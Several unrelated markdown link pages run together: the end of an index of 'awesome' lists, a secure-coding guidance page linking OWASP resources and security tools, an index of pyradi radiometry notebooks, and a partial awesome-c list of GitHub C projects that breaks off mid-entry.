[Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

# Security Developers working on projects should adhere to industry-recommended standard practices for secure design and implementation of code. For the purposes of our customers, this means our engineers should understand the [OWASP Top 10 Web Application Security Risks](https://owasp.org/www-project-top-ten/), as well as how to mitigate as many of them as possible, using the resources below. **If you are looking for a fast way to get started** evaluating your application or design, check out the "Secure Coding Practices Quick Reference" document below, which contains an itemized checklist of high-level concepts you can validate are being done properly. This checklist covers many common errors associated with the OWASP Top 10 list linked above, and should be the minimum amount of effort being put into security. ## Requesting Security Reviews When requesting a security review for your application, please make sure you have familiarized yourself with the [Rules of Engagement](rules-of-engagement.md). This will help you to prepare the application for testing, as well as understand the scope limits of the test. ## Quick References - [Secure Coding Practices Quick Reference](https://owasp.org/www-pdf-archive/OWASP_SCP_Quick_Reference_Guide_v2.pdf) - [Web Application Security Quick Reference](https://owasp.org/www-pdf-archive//OWASP_Web_Application_Security_Quick_Reference_Guide_0.3.pdf) - [Security Mindset/Creating a Security Program Quick Start](https://github.com/OWASP/Quick-Start-Guide/blob/master/OWASP%20Quick%20Start%20Guide.pdf?raw=true) - [Credential Scanning / Secret Detection](../continuous-integration/dev-sec-ops/secret-management/credential_scanning.md) - [Threat Modelling](./threat-modelling.md) ## Azure DevOps Security - [Security Engineering DevSecOps Practices](https://www.microsoft.com/en-us/securityengineering/devsecops) - [Azure DevOps Data Protection Overview](https://learn.microsoft.com/en-us/azure/devops/organizations/security/data-protection?view=azure-devops) - [Security and Identity in Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/organizations/security/about-security-identity?view=azure-devops) - [Security Code Analysis](https://secdevtools.azurewebsites.net/) ## DevSecOps Introduce security to your project at early stages. The [DevSecOps section](../continuous-integration/dev-sec-ops/README.md) covers security practices, automation, tools and frameworks as part of the application CI. ## OWASP Cheat Sheets > Note: OWASP is considered to be the gold-standard in computer security information. OWASP maintains an extensive series of cheat sheets which cover all the OWASP Top 10 and more. Below, many of the more relevant cheat sheets have been summarized. To view all the cheat sheets, check out their [Cheat Sheet Index](https://github.com/OWASP/CheatSheetSeries/blob/master/Index.md). - [Access Control Basics](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Access_Control_Cheat_Sheet.md) - [Attack Surface Analysis](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.md) - [Content Security Policy (CSP)](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Content_Security_Policy_Cheat_Sheet.md) - [Cross-Site Request Forgery (CSRF) Prevention](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md) - [Cross-Site Scripting (XSS) Prevention](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md) - [Cryptographic Storage](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cryptographic_Storage_Cheat_Sheet.md) - [Deserialization](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md) - [Docker/Kubernetes (k8s) Security](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) - [Input Validation](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Input_Validation_Cheat_Sheet.md) - [Key Management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Key_Management_Cheat_Sheet.md) - [OS Command Injection Defense](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.md) - [Query Parameterization Examples](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md) - [Server-Side Request Forgery Prevention](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.md) - [SQL Injection Prevention](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md) - [Unvalidated Redirects and Forwards](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md) - [Web Service Security](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Web_Service_Security_Cheat_Sheet.md) - [XML Security](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_Security_Cheat_Sheet.md) ## Recommended Tools Check out the list of tools to help enable security in your projects. > **Note:** Although some tools are agnostic, the below list is geared towards Cloud Native security, with a focus on Kubernetes. - Vulnerability Scanning - [SonarCloud](https://sonarcloud.io/) - Integrates with Azure Devops with the click of a button. - [Snyk](https://github.com/snyk/snyk) - [Trivy](https://github.com/aquasecurity/trivy) - [Cloudsploit](https://github.com/aquasecurity/cloudsploit) - [Anchore](https://github.com/anchore/anchore-engine) - [Other tools from OWASP](https://owasp.org/www-community/Vulnerability_Scanning_Tools) - [See why you should check for vulnerabilities at all layers of the stack](https://sysdig.com/blog/image-scanning-best-practices/), as well as a couple of other useful tips to reduce surface area for attacks. - Runtime Security - [Falco](https://github.com/falcosecurity/falco) - [Tracee](https://github.com/aquasecurity/tracee) - [Kubelinter](https://github.com/stackrox/kube-linter) - May not fully qualify as runtime security, but helps ensure you're enabling best practices. - Binary Authorization Binary authorization can happen both at the docker registry layer, and runtime (ie: via a K8s admission controller). The authorization check ensures that the image is signed by a trusted authority. This can occur for both (pre-approved) 3rd party images, and internal images. Taking this a step further the signing should occur _only_ on images where all code has been reviewed and approved. Binary authorization can both reduce the impact of damage from a compromised hosting environment, and the damage from malicious insiders. - [Harbor](https://github.com/goharbor/harbor/) - [Operator available](https://github.com/goharbor/harbor-operator) - [Portieris](https://github.com/IBM/portieris) - [Notary](https://github.com/theupdateframework/notary) - Note harbor leverages notary internally. - [TUF](https://github.com/theupdateframework/tuf) - Other K8s Security - [OPA](https://github.com/open-policy-agent/opa), [Gatekeeper](https://github.com/open-policy-agent/gatekeeper), and the [Gatekeeper Library](https://github.com/open-policy-agent/gatekeeper-library/tree/master/library) - [cert-manager](https://github.com/jetstack/cert-manager) for easy certificate provisioning and automatic rotation. - [Quickly enable mTLS between your microservices with Linkerd](https://linkerd.io/2/features/automatic-mtls/). ## Useful links - [Non-Functional Requirements Guidance](../design/design-patterns/non-functional-requirements-capture-guide.md)

### Computational Optical Radiometry with pyradi [](http://dx.doi.org/10.5281/zenodo.9910 ) The [pyradi](https://github.com/NelisW/pyradi) toolkit is a Python toolkit to perform optical and infrared radiometry (flux flow) calculations. The toolkit is an extendible, integrated and coherent collection of basic functions, code modules, documentation, example templates, unit tests and resources, that can be applied towards diverse calculations in the electro-optics domain. The notebooks in this series cover the functionality provided by the [pyradi](https://github.com/NelisW/pyradi) Python library. The pyradi package is also available on [PyPI](https://pypi.python.org/pypi/pyradi/): `pip install --upgrade pyradi`. The notebooks can be downloaded from [Github](https://github.com/NelisW/ComputationalRadiometry#computational-optical-radiometry-with-pyradi). These notebooks are constantly revised and updated, revisit from time to time. This series of notebooks is not intended to be a complete manual, please consult the [documentation](http://nelisw.github.io/pyradi-docs/_build/html/index.html) for more information. Section references in the notebooks indicated as (Sec 5.1) refer to sections in the [book](http://spie.org/x648.html?product_id=2021423&origin_id=x646). The links below point to HTML renderings of the notebooks, courtesy of [Rackspace](http://nbviewer.ipython.org/). Please have patience, rendering the notebooks may take some time (downloading files, processing the data, and rendering the HTML). 01) [IPython hints and tips](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/01-IPythonHintsAndTips.ipynb?create=1). This notebook provides a brief summary of how to start up and use the IPython notebook. Introductions are given to magic commands, help functionality, using IPython for scientific work, cell memory, markdown, citations, embedding media files, and a few lesser used functions. 02) [Python whirlwind cheat sheet](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/02-PythonWhirlwindCheatSheet.ipynb?create=1). This notebook serves to give brief one-liner examples of key Python usage and idioms. The approach here is not to spend too much time on general Python constructs, but to move on to Numpy as soon as possible. Numpy is a critical base for any scientific calculation, providing powerful vectorised computation. I make no claim to any level of completeness in this document. You still need to read the books and reference manuals to get the big picture and the details. You still have to read the manuals, but this should help you move on to Numpy quickly. 03) [Introduction to optical radiometry](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/03-Introduction-to-Radiometry.ipynb?create=1). A very brief overview of the fundamental theory, from the [book](http://spie.org/x648.html?product_id=2021423&origin_id=x646). 04) [Introduction to computational radiometry with pyradi](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/04-IntroductionToComputationalRadiometryWithPyradi.ipynb?create=1). This notebook provides a description of the basics of radiometric spectral variables and conversions between spectral densities, generic filter functions, generic detector functions, and reading and plotting spectral data. It then moves on to how to calculate spectral integrals, calculate spectral effective values, spectral convolution, colour coordinate calculations, and spatial integrals. 05) Plotting with pyradi. Demonstrating the variety of plots available with ryplot. The pyradi library has a module, [`pyradi.ryplot`](http://nelisw.github.io/pyradi-docs/_build/html/ryplot.html), to simplify plotting. The module is a productivity wrapper around [Matplotlib](http://matplotlib.org/), all that can can be done `pyradi.ryplot` can be done with raw Matplotlib. The productivity gained with this module stems from the fact that plots and plot properties are all combined into a single function call. So, with just one call a complete graph can be drawn. The code is compact and there is no need to hunt through many pages of documentation to find the appropriate command for some graph attribute. You would have to consult the ryplot documentation for information on the functions long list of parameters. 05a) [Plotting With Pyradi - General Introduction and Cartesian Plots](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/05a-PlottingWithPyradi-GeneralAndCartesian.ipynb?create=1) This notebook covers a general introduction to plotting and creating Cartesian (x,y) plots. Other plot types are covered in the next notebook in the series. 05b) [Polar, three-dimensional, and image plots](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/05b-PlottingWithPyradi-Polar-and-3D.ipynb?create=1) This notebook covers extends on 05a) and describes polar plots, three-dimensional plots and image plots. Other plot types are covered in the next notebook in the series. 05c) Mayavi 06) [Diverse pyradi utilities](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/06-Diverse-pyradi-utilities.ipynb?create=1). Demonstrate the pulse detection algorithms (ryutils). Demonstrate the range equation solver (ryutils). Absolute humidity function (ryutils). List files in directory tree using a pattern: listFiles (ryfiles). Write LateX code for eps figure: epsLaTexFigure (ryfiles). Write a numpy array to LaTeX: arrayToLaTex (ryfiles). Load a two-dimensional lookup table: read2DLookupTable (ryfiles). 07) [Optical Sources](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/07-Optical%20Sources.ipynb?create=1). The pyradi library has a reasonably complete collection of Planck radiator models, both spectral and wide band. A comprehensive collection of physical constants, pertinent to optical radiation is also included. This notebook introduces these functions in the [`pyradi.ryplanck`](http://nelisw.github.io/pyradi-docs/_build/html/ryplanck.html) library. 08) [Modtran File Processing](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/08-ModtranFileProcessing.ipynb?create=1). The pyradi library has a module to handle Modtran files. The module currently has only one function: to read Modtran tape7 files in an intelligent manner. The function is [`rymodtran.loadtape7`](http://nelisw.github.io/pyradi-docs/_build/html/rymodtran.html). 09) [Optical Detector Modelling](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/09-DetectorModelling.ipynb?create=1). The pyradi [`rydetector`](http://nelisw.github.io/pyradi-docs/_build/html/rydetector.html) module models the primary functionality of optical detectors. This notebook demonstrates the development of a simple single element InSb detector model suitable for high-level system modelling. The performance of the detector is described in terms of its figures of merit. The theoretical background to this model is covered the text book. 09b) [Staring Array Detector Modelling](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/09b-StaringArrayDetectors.ipynb?create=1). The pyradi [`rystare`](http://nelisw.github.io/pyradi-docs/_build/html/rystare.html) module models a high level model for CCD and CMOS staring array signal chain modelling. The model accepts an input image in photon rate irradiance units and then proceeds to calculate the various noise components and signal components along the signal flow chain. 10) [Image utilities](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/10-ImageUtilities.ipynb?create=1). Loading raw data files and saving raw data to an image. Performing histogram equalisation on an image. Warping a Siemens Star image from polar to cartesian format. Calculate the three dimensional noise of an image sequence. 11) [Infrared measurement and analysis](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/11-InfraredMeasurementAndAnalysis.ipynb?create=1). This notebook demonstrates the pyradi tools to read and process a FLIR Inc ptw infrared camera file. First the image header and image data are read and displayed. Measured calibration data is then used to determine the instrument function, which is finally used to calculate the temperature of a laboratory source. 12) Example simple case studies. 12a) [A Simple Flame sensor analysis](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/12a-FlameSensorAnalysis.ipynb?create=1). This notebook provides a simple worked example of a small sensor observing a flame on a smokestack. The objective is to calculate the signal of a simple infrared sensor, detecting the presence or absence of a flame in the sensor field of view. The sensor is pointed to an area just outside a furnace vent, against a clear sky background. The sensor must detect a change in signal indicating the presence of a flame at the vent. 12b) [Albedo derivation from MODIS data](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/12b-AlbedoDerivation.ipynb?create=1). This notebook demonstrates the use of Pandas to extract information from MODIS data. The objective here is to determine the spectral albedo of an area in the visual and infrared spectral bands. The data acquisition is done manually and this notebook focuses only on the analysis. The MODIS data provide information in the visual, near infrared and thermal infrared bands, but with a gap from 3 $\mu$m to 10 $\mu$m - you have to consult other sources for this information. The albedo calculated here is based on a multi-year dataset of a single site; over a 7 km by 7 km region at the test site. The albedo is averaged over all the years for the twelve months of the year. 12c) [Atmospheric transmittance effect on colour coordinates of sunlit objects](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/12c-AtmosphericEffectColourCoords.ipynb?create=1). The perceived colour of an object depends on the object's inherent colour as well as the irradiance spectrum. The spectral properties of the three irradiance components on an object at sea level vary dramatically with solar zenith angle. When the sun is at zero zenith angle the sunlight is least attenuated (spectral variation is smaller), and the spectral properties of sky shine is similar to the direct sun irradiance. When the sun is near the horizon the direct sun irradiance shifts towards red, while the sky radiance shifts towards blue. This notebook uses Modtran-calculated atmospheric spectral transmittance for different atmospheric aerosol conditions and zenith angles. The shift in colour coordinates of a few coloured surfaces are then determined for the different atmospheric conditions. 12d) [Temperature estimation from spectral data](http://nbviewer.ipython.org/urls/raw.githubusercontent.com/NelisW/ComputationalRadiometry/master/12d-SpectralTemperatureEstimation.ipynb?create=1). A spectral radiometer is used to determine the surface temperature of a hot object exposed to sunlight. The surface normal vector is pointing directly towards the sun. The object is considerably hotter than the environment, hence atmospheric path radiance and reflected ambient flux can be ignored. Ignore atmospheric transmittance between the sun and the object and between the object and the sensor. The measurement results are corrupted by noise. The sun and object both radiate as Planck radiators. Emissivity is constant at all wavelengths. The temperature and emissivity of the object surface, as well as the temperature of the sun are unknown and are determined.

# awesome-c A curated list of awesome C frameworks, libraries and software. * [Genymobile/scrcpy](https://github.com/Genymobile/scrcpy) - Display and control your Android device * [obsproject/obs-studio](https://github.com/obsproject/obs-studio) - OBS Studio - Free and open source software for live streaming and screen recording * [git/git](https://github.com/git/git) - Git Source Code Mirror - This is a publish-only repository but pull requests can be turned into patches to the mailing list via GitGitGadget (https://gitgitgadget.github.io/). Please follow Documentation/SubmittingPatches procedure for any of your improvements. * [FFmpeg/FFmpeg](https://github.com/FFmpeg/FFmpeg) - Mirror of https://git.ffmpeg.org/ffmpeg.git * [ggerganov/llama.cpp](https://github.com/ggerganov/llama.cpp) - Port of Facebook's LLaMA model in C/C++ * [curl/curl](https://github.com/curl/curl) - A command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS. libcurl offers a myriad of powerful features * [ggreer/the_silver_searcher](https://github.com/ggreer/the_silver_searcher) - A code-searching tool similar to ack, but faster. * [pbatard/rufus](https://github.com/pbatard/rufus) - The Reliable USB Formatting Utility * [mpv-player/mpv](https://github.com/mpv-player/mpv) - 🎥 Command line video player * [nothings/stb](https://github.com/nothings/stb) - stb single-file public domain libraries for C/C++ * [SamyPesse/How-to-Make-a-Computer-Operating-System](https://github.com/SamyPesse/How-to-Make-a-Computer-Operating-System) - How to Make a Computer Operating System in C++ * [radareorg/radare2](https://github.com/radareorg/radare2) - UNIX-like reverse engineering framework and command-line toolset * [hashcat/hashcat](https://github.com/hashcat/hashcat) - World's fastest and most advanced password recovery utility * [jarun/nnn](https://github.com/jarun/nnn) - n³ The unorthodox terminal file manager * [TheAlgorithms/C](https://github.com/TheAlgorithms/C) - Collection of various algorithms in mathematics, machine learning, computer science, physics, etc implemented in C for educational purposes. * [allinurl/goaccess](https://github.com/allinurl/goaccess) - GoAccess is a real-time web log analyzer and interactive viewer that runs in a terminal in *nix systems or through your browser. * [qmk/qmk_firmware](https://github.com/qmk/qmk_firmware) - Open-source keyboard firmware for Atmel AVR and Arm USB families * [vurtun/nuklear](https://github.com/vurtun/nuklear) - A single-header ANSI C gui library * [reactos/reactos](https://github.com/reactos/reactos) - A free Windows-compatible Operating System * [lvgl/lvgl](https://github.com/lvgl/lvgl) - Embedded graphics library to create beautiful UIs for any MCU, MPU and display type. It's boosted by a professional yet affordable drag and drop UI editor, called SquareLine Studio. * [s-matyukevich/raspberry-pi-os](https://github.com/s-matyukevich/raspberry-pi-os) - Learning operating system development using Linux kernel and Raspberry Pi * [acidanthera/OpenCorePkg](https://github.com/acidanthera/OpenCorePkg) - OpenCore bootloader * [jonas/tig](https://github.com/jonas/tig) - Text-mode interface for git * [jart/cosmopolitan](https://github.com/jart/cosmopolitan) - build-once run-anywhere c library * [davatorium/rofi](https://github.com/davatorium/rofi) - Rofi: A window switcher, application launcher and dmenu replacement * [systemd/systemd](https://github.com/systemd/systemd) - The systemd System and Service Manager * [webview/webview](https://github.com/webview/webview) - Tiny cross-platform webview library for C/C++/Golang. Uses WebKit (Gtk/Cocoa) and Edge (Windows) * [videolan/vlc](https://github.com/videolan/vlc) - VLC media player - All pull requests are ignored, please follow https://wiki.videolan.org/Sending_Patches_VLC/ * [jedisct1/libsodium](https://github.com/jedisct1/libsodium) - A modern, portable, easy to use crypto library. * [glfw/glfw](https://github.com/glfw/glfw) - A multi-platform library for OpenGL, OpenGL ES, Vulkan, window and input * [sumatrapdfreader/sumatrapdf](https://github.com/sumatrapdfreader/sumatrapdf) - SumatraPDF reader * [andlabs/libui](https://github.com/andlabs/libui) - Simple and portable (but not inflexible) GUI library in C that uses the native GUI technologies of each platform it supports. * [libevent/libevent](https://github.com/libevent/libevent) - Event notification library * [fogleman/Craft](https://github.com/fogleman/Craft) - A simple Minecraft clone written in C using modern OpenGL (shaders). * [phpredis/phpredis](https://github.com/phpredis/phpredis) - A PHP extension for Redis * [coturn/coturn](https://github.com/coturn/coturn) - coturn TURN server project * [libgit2/libgit2](https://github.com/libgit2/libgit2) - A cross-platform, linkable library implementation of Git that you can use in your application. * [DaveGamble/cJSON](https://github.com/DaveGamble/cJSON) - Ultralightweight JSON parser in ANSI C * [krallin/tini](https://github.com/krallin/tini) - A tiny but valid `init` for containers * [citusdata/citus](https://github.com/citusdata/citus) - Distributed PostgreSQL as an extension * [cockpit-project/cockpit](https://github.com/cockpit-project/cockpit) - Cockpit is a web-based graphical interface for servers. * [cstack/db_tutorial](https://github.com/cstack/db_tutorial) - Writing a sqlite clone from scratch in C * [Tencent/xLua](https://github.com/Tencent/xLua) - xLua is a lua programming solution for C# ( Unity, .Net, Mono) , it supports android, ios, windows, linux, osx, etc. * [FreeRDP/FreeRDP](https://github.com/FreeRDP/FreeRDP) - FreeRDP is a free remote desktop protocol library and clients * [microsoft/react-native-code-push](https://github.com/microsoft/react-native-code-push) - React Native module for CodePush * [lz4/lz4](https://github.com/lz4/lz4) - Extremely Fast Compression algorithm * [DoctorWkt/acwj](https://github.com/DoctorWkt/acwj) - A Compiler Writing Journey * [libretro/RetroArch](https://github.com/libretro/RetroArch) - Cross-platform, sophisticated frontend for the libretro API. Licensed GPLv3. * [libvips/libvips](https://github.com/libvips/libvips) - A fast image processing library with low memory needs. * [rswier/c4](https://github.com/rswier/c4) - C in four functions * [openwall/john](https://github.com/openwall/john) - John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs * [jgamblin/Mirai-Source-Code](https://github.com/jgamblin/Mirai-Source-Code) - Leaked Mirai Source Code for Research/IoC Development Purposes * [rui314/chibicc](https://github.com/rui314/chibicc) - A small C compiler * [Cyan4973/xxHash](https://github.com/Cyan4973/xxHash) - Extremely fast non-cryptographic hash algorithm * [Immediate-Mode-UI/Nuklear](https://github.com/Immediate-Mode-UI/Nuklear) - A single-header ANSI C immediate mode cross-platform GUI library * [Wind4/vlmcsd](https://github.com/Wind4/vlmcsd) - KMS Emulator in C (currently runs on Linux including Android, FreeBSD, Solaris, Minix, Mac OS, iOS, Windows with or without Cygwin) * [pocoproject/poco](https://github.com/pocoproject/poco) - The POCO C++ Libraries are powerful cross-platform C++ libraries for building network- and internet-based applications that run on desktop, server, mobile, IoT, and embedded systems. * [peng-zhihui/L-ink_Card](https://github.com/peng-zhihui/L-ink_Card) - Smart NFC & ink-Display Card * [liuliu/ccv](https://github.com/liuliu/ccv) - C-based/Cached/Core Computer Vision Library, A Modern Computer Vision Library * [confluentinc/librdkafka](https://github.com/confluentinc/librdkafka) - The Apache Kafka C/C++ library * [pymumu/smartdns](https://github.com/pymumu/smartdns) - A local DNS server to obtain the fastest website IP for the best Internet experience, support DoT, DoH. 一个本地DNS服务器，获取最快的网站IP，获得最佳上网体验，支持DoH，DoT。 * [capstone-engine/capstone](https://github.com/capstone-engine/capstone) - Capstone disassembly/disassembler framework for ARM, ARM64 (ARMv8), BPF, Ethereum VM, M68K, M680X, Mips, MOS65XX, PPC, RISC-V(rv32G/rv64G), SH, Sparc, SystemZ, TMS320C64X, TriCore, Webassembly, XCore and X86. * [stanfordnlp/GloVe](https://github.com/stanfordnlp/GloVe) - Software in C and data files for the popular GloVe model for distributed word representations, a.k.a. word vectors or embeddings * [microsoft/WinObjC](https://github.com/microsoft/WinObjC) - Objective-C for Windows * [nodejs/http-parser](https://github.com/nodejs/http-parser) - http request/response parser for c * [pygame/pygame](https://github.com/pygame/pygame) - 🐍🎮 pygame (the library) is a Free and Open Source python programming language library for making multimedia applications like games built on top of the excellent SDL library. C, Python, Native, OpenGL. * [orangeduck/Cello](https://github.com/orangeduck/Cello) - Higher level programming in C * [rui314/8cc](https://github.com/rui314/8cc) - A Small C Compiler * [Kitware/CMake](https://github.com/Kitware/CMake) - Mirror of CMake upstream repository * [redis/hiredis](https://github.com/redis/hiredis) - Minimalistic C client for Redis >= 1.2 * [universal-ctags/ctags](https://github.com/universal-ctags/ctags) - A maintained ctags implementation * [hishamhm/htop](https://github.com/hishamhm/htop) - htop is an interactive text-mode process viewer for Unix systems. It aims to be a better 'top'. * [libimobiledevice/libimobiledevice](https://github.com/libimobiledevice/libimobiledevice) - A cross-platform protocol library to communicate with iOS devices * [lpereira/lwan](https://github.com/lpereira/lwan) - Experimental, scalable, high performance HTTP server * [ithewei/libhv](https://github.com/ithewei/libhv) - 🔥 比libevent、libuv更易用的网络库。A c/c++ network library for developing TCP/UDP/SSL/HTTP/WebSocket/MQTT client/server. * [klange/toaruos](https://github.com/klange/toaruos) - A completely-from-scratch hobby operating system: bootloader, kernel, drivers, C library, and userspace including a composited graphical UI, dynamic linker, syntax-highlighting text editor, network stack, etc. * [peng-zhihui/HoloCubic](https://github.com/peng-zhihui/HoloCubic) - 带网络功能的伪全息透明显示桌面站 * [hfiref0x/UACME](https://github.com/hfiref0x/UACME) - Defeating Windows User Account Control * [ldcsaa/HP-Socket](https://github.com/ldcsaa/HP-Socket) - High Performance TCP/UDP/HTTP Communication Component * [CameraKit/camerakit-android](https://github.com/CameraKit/camerakit-android) - Library for Android Camera 1 and 2 APIs. Massively increase stability and reliability of photo and video capture on all Android devices. * [veracrypt/VeraCrypt](https://github.com/veracrypt/VeraCrypt) - Disk encryption with strong security based on TrueCrypt * [yourtion/30dayMakeOS](https://github.com/yourtion/30dayMakeOS) - 《30天自制操作系统》源码中文版。自己制作一个操作系统（OSASK）的过程 * [yanfeizhang/coder-kung-fu](https://github.com/yanfeizhang/coder-kung-fu) - 开发内功修炼 * [htop-dev/htop](https://github.com/htop-dev/htop) - htop - an interactive process viewer * [grbl/grbl](https://github.com/grbl/grbl) - An open source, embedded, high performance g-code-parser and CNC milling controller written in optimized C that will run on a straight Arduino * [cjdelisle/cjdns](https://github.com/cjdelisle/cjdns) - An encrypted IPv6 network using public-key cryptography for address allocation and a distributed hash table for routing. * [cmus/cmus](https://github.com/cmus/cmus) - Small, fast and powerful console music player for Unix-like operating systems. * [SanderMertens/flecs](https://github.com/SanderMertens/flecs) - A fast entity component system (ECS) for C & C++ * [nbs-system/naxsi](https://github.com/nbs-system/naxsi) - NAXSI is an open-source, high performance, low rules maintenance WAF for NGINX * [antirez/sds](https://github.com/antirez/sds) - Simple Dynamic Strings library for C * [RIOT-OS/RIOT](https://github.com/RIOT-OS/RIOT) - RIOT - The friendly OS for IoT * [libusb/libusb](https://github.com/libusb/libusb) - A cross-platform library to access USB devices * [laruence/yaf](https://github.com/laruence/yaf) - Fast php framework written in c, built in php extension * [tboox/tbox](https://github.com/tboox/tbox) - 🎁 A glib-like multi-platform c library * [aws/s2n-tls](https://github.com/aws/s2n-tls) - An implementation of the TLS/SSL protocols * [marcobambini/gravity](https://github.com/marcobambini/gravity) - Gravity Programming Language * [gluster/glusterfs](https://github.com/gluster/glusterfs) - Gluster Filesystem : Build your distributed storage in minutes * [lxc/lxc](https://github.com/lxc/lxc) - LXC - Linux Containers * [ultrajson/ultrajson](https://github.com/ultrajson/ultrajson) - Ultra fast JSON decoder and encoder written in C with Python bindings * [Netflix/dynomite](https://github.com/Netflix/dynomite) - A generic dynamo implementation for different k-v storage engines * [maximegmd/CyberEngineTweaks](https://github.com/maximegmd/CyberEngineTweaks) - Cyberpunk 2077 tweaks, hacks 